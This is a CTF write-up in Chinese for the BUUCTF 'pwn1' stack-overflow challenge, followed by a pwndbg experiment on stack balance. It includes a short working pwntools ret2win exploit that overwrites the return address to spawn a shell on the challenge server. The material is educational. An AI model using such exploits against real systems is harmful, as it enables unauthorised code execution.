label2-pwn1
考点
-
常规栈溢出原理
-
pwntools使用
- 学习基本python语法
- 熟悉pwntools提供的接口
-
pwndbg使用
- 推荐配合splitmind使用, 界面更加简洁
-
堆栈平衡原理
WP
查看二进制文件安全属性
lamecrow@LAPTOP-PUE31HT9:/mnt/e/Try/DownLoad/CTF/BUU/PWN/label2$ checksec pwn1
[*] '/mnt/e/Try/DownLoad/CTF/BUU/PWN/label2/pwn1'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
查看main函数
gets()函数属于不安全函数, 可以直接利用, 接下来需要找到目标利用函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[15]; // [rsp+1h] [rbp-Fh] BYREF
puts("please input");
gets(s, argv);
puts(s);
puts("ok,bye!!!");
return 0;
}
就在main函数下方存在一个fun函数, 可以利用该函数获取shell. (可以通过字符串查询等方式找到该函数)
int fun()
{
return system("/bin/sh");
}
查看main函数的栈布局
确定了我们需要填充15(局部变量空间) + 8(EBP栈空间) = 23个字节, 然后在加上8字节数据填充返回地址
-0000000000000010 db ? ; undefined # 多出一个字节用于对齐
-000000000000000F s db ?
-000000000000000E db ? ; undefined
-000000000000000D db ? ; undefined
-000000000000000C db ? ; undefined
-000000000000000B db ? ; undefined
-000000000000000A db ? ; undefined
-0000000000000009 db ? ; undefined
-0000000000000008 db ? ; undefined
-0000000000000007 db ? ; undefined
-0000000000000006 db ? ; undefined
-0000000000000005 db ? ; undefined
-0000000000000004 db ? ; undefined
-0000000000000003 db ? ; undefined
-0000000000000002 db ? ; undefined
-0000000000000001 db ? ; undefined
+0000000000000000 s db 8 dup(?) # 变量所占栈空间15字节
+0000000000000008 r db 8 dup(?) # 栈帧存放位置
+0000000000000010 # 返回地址存放位置
+0000000000000010 ; end of stack variables
查看fun函数的汇编代码, 确定跳转地址
.text:0000000000401186 ; int fun()
.text:0000000000401186 public fun
.text:0000000000401186 fun proc near
.text:0000000000401186 ; __unwind {
.text:0000000000401186 55 push rbp
.text:0000000000401187 48 89 E5 mov rbp, rsp
.text:000000000040118A 48 8D 3D 8A 0E 00 00 lea rdi, command ; "/bin/sh"
.text:0000000000401191 E8 AA FE FF FF call _system
.text:0000000000401191
.text:0000000000401196 90 nop
.text:0000000000401197 5D pop rbp
.text:0000000000401198 C3 retn
.text:0000000000401198 ; } // starts at 401186
由于堆栈平衡, 需要跳转到0x000000000040118A地址处
编写exploit
1 from pwn import *
2
3 #conn = process('pwn1')
4 conn = remote('node4.buuoj.cn', 29198)
5
6 payload = b'A' * 23 + p64(0x40118A)
7
8 conn.sendline(payload)
9
10 conn.interactive()
在shell中执行cat flag命令, 最终获取flag
下面时关于堆栈平衡的一个实验, 目的是想看一看堆栈平衡的原因和结果.
堆栈平衡实验
实验是粗略设计, 可能包含很多的问题, 望指正.
前置汇编知识
为了理解栈平衡的原理, 首先需要把函数调用的流程梳理一遍, 同时拆解一些复合指令(比如: call是由多条底层指令复合而成, 需要将其替换成"原子指令"), 了解其具体操作过程.
下面是x86函数的调用过程(来自逆向核心工程原理的"栈帧"章节实验):
-
将参数逆序压入栈中
-
调用函数 (call指令)
-
执行函数体
- 执行函数后先将EBP压入栈中 (修改了栈)
- 将ESP的值传给EBP形成当前函数的栈帧
- 腾出变量空间 (修改了ESP)
- 执行函数内的语句
- 将"新EBP"的值给ESP,栈顶回到起点
- 弹出"老EBP"的值给EBP,又变回了"老EBP"
- 返回调用者函数 (retn指令)
-
调用者清除传入的参数(调用协定),这时ESP回到原来的位置 (一般是调用者add ESP, n清除)
-
注意: x86很x64的调用约定存在不同(比如: 传参约定), 但是重点应该关注调用, 返回, 局部变量对栈的影响.
Call指令
call eax;
等同于
push retrun_address; # 返回地址 = call指令地址 + call指令长度 = 下条指令地址
jmp eax; # 跳转到调用函数地址处, 并继续执行
重点: Call指令会修改栈空间, 改变ESP的值
Retn指令
retn;
等同于
pop eip; # eip就是程序计数器
重点: Retn指令也会修改栈空间, 改变ESP的值
Leave指令
leave;
等同于
mov esp, ebp; # 通过栈帧恢复esp
pop ebp; # 恢复调用者栈帧ebp
简介
主要是为了验证堆栈平衡的作用, 按照执行流程介绍函数:
- main(): 程序执行的入口点
- test1(): mian()调用该函数, 且该函数读取输入并可造成栈溢出
- test2(): 栈溢出的目标程序, 在其中执行的逻辑任意, 最好可以再调用一个函数
- test3(): test2调用的函数, 没有栈平衡该函数可能执行错误.
编译
文件源码
1 #include <stdio.h>
2
3 void test1();
4 void test2();
5 void test3();
6
7 int main() {
8 test1();
9 return 0;
10 }
11
12 void test1() {
13 char inp[15] = {0};
14 printf("please input: ");
15 gets(inp);
16 printf("inp = %s\n", inp);
17 }
18
19 void test2() {
20 int a = 0;
21 test3();
22 }
23
24 void test3() {
25 int b = 0;
26 printf("okkk\n");
27 }
编译
gcc -O0 -fno-stack-protector -no-pie lab.c -o lab
- -O0: 取消优化
- -fno-stack-protector: 禁用栈保护
- -no-pie: 禁用地址随机
调试
main函数
首先查看main的汇编代码
pwndbg> disass main │
Dump of assembler code for function main: │
0x0000000000401176 <+0>: endbr64 │
0x000000000040117a <+4>: push rbp # 保存栈帧 │
0x000000000040117b <+5>: mov rbp,rsp # 设置新栈帧(main) │
=> 0x000000000040117e <+8>: mov eax,0x0 │
0x0000000000401183 <+13>: call 0x40118f <test1> # 调用test函数 (使用上面的原子指令替换)
# 原子指令替换
push 0x0000000000401188
jmp 0x40118f <test1> │
0x0000000000401188 <+18>: mov eax,0x0 │
0x000000000040118d <+23>: pop rbp │
0x000000000040118e <+24>: ret │
End of assembler dump.
开始调试后查看栈空间
-
│00:0000│ rbp rsp 0x7fffffffd660 ◂— 0x1
: 压入栈中的main栈帧 -
│01:0008│ 0x7fffffffd668 —▸ 0x7ffff7db2d90 (__libc_start_call_m 0x401183 <main+13>
: main函数的返回地址
│00:0000│ rbp rsp 0x7fffffffd660 ◂— 0x1
│01:0008│ 0x7fffffffd668 —▸ 0x7ffff7db2d90 (__libc_start_call_m 0x401183 <main+13>
│02:0010│ 0x7fffffffd670 ◂— 0x0
│03:0018│ 0x7fffffffd678 —▸ 0x401176 (main) ◂— endbr64
│04:0020│ 0x7fffffffd680 ◂— 0x1ffffd760
│05:0028│ 0x7fffffffd688 —▸ 0x7fffffffd778 —▸ 0x7fffffffda3f ◂— '/mnt/e/Try/DownLoad/CTF/BUU/PWN/label2/lab/lab'
│06:0030│ 0x7fffffffd690 ◂— 0x0
│07:0038│ 0x7fffffffd698 ◂— 0x35a0835680adf95b
调用test1()
在上面的main汇编中等效替换的call指令
0x0000000000401183 <+13>: call 0x40118f <test1> # 调用test函数 (使用上面的原子指令替换)
# 原子指令替换
push 0x0000000000401188
jmp 0x40118f <test1>
查看堆栈
-
│00:0000│ rsp 0x7fffffffd658 —▸ 0x401188 (main+18)
: test1()的返回地址, 也就是call指令的下一条指令 -
│01:0008│ rbp 0x7fffffffd660 ◂— 0x1
: 在main函数中, 压入栈中的main栈帧 -
│02:0010│ 0x7fffffffd668 —▸ 0x7ffff7db2d90
: main函数的返回地址, 指向start函数中的call指令的下一条指令
│00:0000│ rsp 0x7fffffffd658 —▸ 0x401188 (main+18) ◂— mov eax, 0
│01:0008│ rbp 0x7fffffffd660 ◂— 0x1
│02:0010│ 0x7fffffffd668 —▸ 0x7ffff7db2d90 (__libc_start_call_main+128) ◂— mov edi, eax
│03:0018│ 0x7fffffffd670 ◂— 0x0
│04:0020│ 0x7fffffffd678 —▸ 0x401176 (main) ◂— endbr64
│05:0028│ 0x7fffffffd680 ◂— 0x1ffffd760
test1函数
下面是test1()的汇编代码
Dump of assembler code for function test1: │
=> 0x000000000040118f <+0>: endbr64 │
0x0000000000401193 <+4>: push rbp # 保存调用者栈帧, 即main的栈帧 │
0x0000000000401194 <+5>: mov rbp,rsp # 构建test1的栈帧 │
0x0000000000401197 <+8>: sub rsp,0x10 # 扩展栈空间, 用于存储局部变量 │
0x000000000040119b <+12>: mov QWORD PTR [rbp-0xf],0x0 # 局部变量初始化 │
0x00000000004011a3 <+20>: mov DWORD PTR [rbp-0x7],0x0 │
0x00000000004011aa <+27>: mov WORD PTR [rbp-0x3],0x0 │
0x00000000004011b0 <+33>: mov BYTE PTR [rbp-0x1],0x0 │
0x00000000004011b4 <+37>: lea rax,[rip+0xe49] # 0x402004 # "pease input: "字符串指针 │
0x00000000004011bb <+44>: mov rdi,rax # 字符串指针作为第一个参数 │
0x00000000004011be <+47>: mov eax,0x0 │
0x00000000004011c3 <+52>: call 0x401070 <printf@plt> # 调用printf │
0x00000000004011c8 <+57>: lea rax,[rbp-0xf] # 传入局部变量inp的指针 │
0x00000000004011cc <+61>: mov rdi,rax # inp指针作为第一个参数 │
0x00000000004011cf <+64>: mov eax,0x0
0x00000000004011d4 <+69>: call 0x401080 <gets@plt> # 调用gets函数, 在这里可以构成栈溢出 │
0x00000000004011d9 <+74>: lea rax,[rbp-0xf] │
0x00000000004011dd <+78>: mov rsi,rax │
0x00000000004011e0 <+81>: lea rax,[rip+0xe2c] # 0x402013 │
0x00000000004011e7 <+88>: mov rdi,rax │
0x00000000004011ea <+91>: mov eax,0x0 │
0x00000000004011ef <+96>: call 0x401070 <printf@plt> # 调用printf, 打印输入字符串 │
0x00000000004011f4 <+101>: nop │
0x00000000004011f5 <+102>: leave │
0x00000000004011f6 <+103>: ret
一直执行到局部变量初始化完成, 查看栈中内容, 从上往下依次
-
test1()的栈
- 为inp变量开辟的栈空间, 由于inp变量长度只有15, 栈顶的8个字节中占7字节, 最低的字节
0x7fffffffd640
没有零初始化, 所以是0x29 - 为inp变量开辟的栈空间, 零初始化, 8字节都为0
- 存储调用者的栈帧, 即main的栈帧
- 存储test1()的返回地址
- 为inp变量开辟的栈空间, 由于inp变量长度只有15, 栈顶的8个字节中占7字节, 最低的字节
-
main()的栈
- 存储调用者的栈帧, 即start的栈帧
- 存储main()的返回地址
│00:0000│ rsp 0x7fffffffd640 ◂— 0x29 /* ')' */
│01:0008│ 0x7fffffffd648 ◂— 0x0
│02:0010│ rbp 0x7fffffffd650 —▸ 0x7fffffffd660 ◂— 0x1
│03:0018│ 0x7fffffffd658 —▸ 0x401188 (main+18) ◂— mov eax, 0
│04:0020│ 0x7fffffffd660 ◂— 0x1
│05:0028│ 0x7fffffffd668 —▸ 0x7ffff7db2d90 (__libc_start_call_main+│128) ◂— mov edi, eax
下面调用了printf和gets函数会在栈顶继续生成新的栈帧, 与test1()和main()的关系类似
栈溢出
目标是通过栈溢出漏洞调用test2(), 首先查看其汇编代码, 以及地址
pwndbg> disass test2 │
Dump of assembler code for function test2: │
0x00000000004011f7 <+0>: endbr64 │
0x00000000004011fb <+4>: push rbp │
0x00000000004011fc <+5>: mov rbp,rsp │
0x00000000004011ff <+8>: sub rsp,0x10 │
0x0000000000401203 <+12>: mov DWORD PTR [rbp-0x4],0x0 │
0x000000000040120a <+19>: mov eax,0x0 │
0x000000000040120f <+24>: call 0x401217 <test3> # 调用了test3() │
0x0000000000401214 <+29>: nop │
0x0000000000401215 <+30>: leave │
0x0000000000401216 <+31>: ret │
End of assembler dump.
gets()函数本身无法影响test1()的栈, 但是它会修改inp局部变量, 溢出后可以覆盖掉test1()的返回地址, 然后返回到其他函数.
可以通过输入进行栈覆盖, 也可以直接使用gdb的set命令来修改内存.
已知test1()函数返回地址的内存地址是0x7fffffffd658
, 则要利用栈溢出漏洞调用的函数是test2(), 其地址通过disass查看为0x00000000004011f7
修改完成后, 查看栈空间内存, 地址0x7fffffffd658
存储的返回地址已经被修改成了test2的地址
│00:0000│ rsp 0x7fffffffd640 ◂— ')aaaaaaaaaaaaaaa'
│01:0008│ 0x7fffffffd648 ◂— 'aaaaaaaa'
│02:0010│ rbp 0x7fffffffd650 —▸ 0x7fffffffd600 —▸ 0x400040 ◂— 0x400000006
│03:0018│ 0x7fffffffd658 —▸ 0x4011f7 (test2) ◂— endbr64
│04:0020│ 0x7fffffffd660 ◂— 0x1
│05:0028│ 0x7fffffffd668 —▸ 0x7ffff7db2d90 (__libc_start_call_main+128) ◂— mov edi, eax
│06:0030│ 0x7fffffffd670 ◂— 0x0
│07:0038│ 0x7fffffffd678 —▸ 0x401176 (main) ◂— endbr64
执行test1()的leave指令后, 再次查看栈空间.
rsp已经回退到之前rbp的位置, 随后pop恢复main的栈帧, 所以rsp又往下压了8字节, 为了与上一个栈视图对齐, 前三行使用nop填充.
nop
nop
nop
│00:0000│ rsp 0x7fffffffd658 —▸ 0x4011f7 (test2) ◂— endbr64
│01:0008│ 0x7fffffffd660 ◂— 0x1
│02:0010│ 0x7fffffffd668 —▸ 0x7ffff7db2d90 (__libc_start_call_main+
最后执行retn指令, 弹出返回地址, 并跳转到了test2()函数中.
此时的rsp和rbp都属于main函数, 也就是说当前的栈空间属于main
如果执行test2()开头的push rbp指令的话相当于在main函数的执行逻辑中push了一个新的值进去, 导致最后leave指令执行完成后, rsp指向的是多push进去的值.
当执行到test2()的retn指令时的栈空间
│00:0000│ rsp 0x7fffffffd660 ◂— 0x1 # 多push进去的ebp值
│01:0008│ 0x7fffffffd668 —▸ 0x7ffff7db2d90 (__libc_start_call_main+│128) # main函数的返回地址
│02:0010│ 0x7fffffffd670 ◂— 0x0
所以最终返回0x0000000000000001地址处, 触发中断导致程序运行失败
堆栈平衡流程图
入口点是刚跳转到test2()函数时的栈空间, 由于是直接retn跳转到test2()函数的, 所以少一个关键的call指令(即把返回地址push进堆栈中). 所以当PC直接从test2()起始执行的结果是: 当leave指令结束后, RSP和RBP都会恢复为mian函数时的值, RSP指向的是栈扩展后的变量区域, 而不是返回地址, retn弹出的是变量中的值.
而如果跳过前面的栈帧初始化操作, 结尾的leave实际上清除了main函数的栈帧, 并返回main函数的返回地址, 直接跳转至start()函数.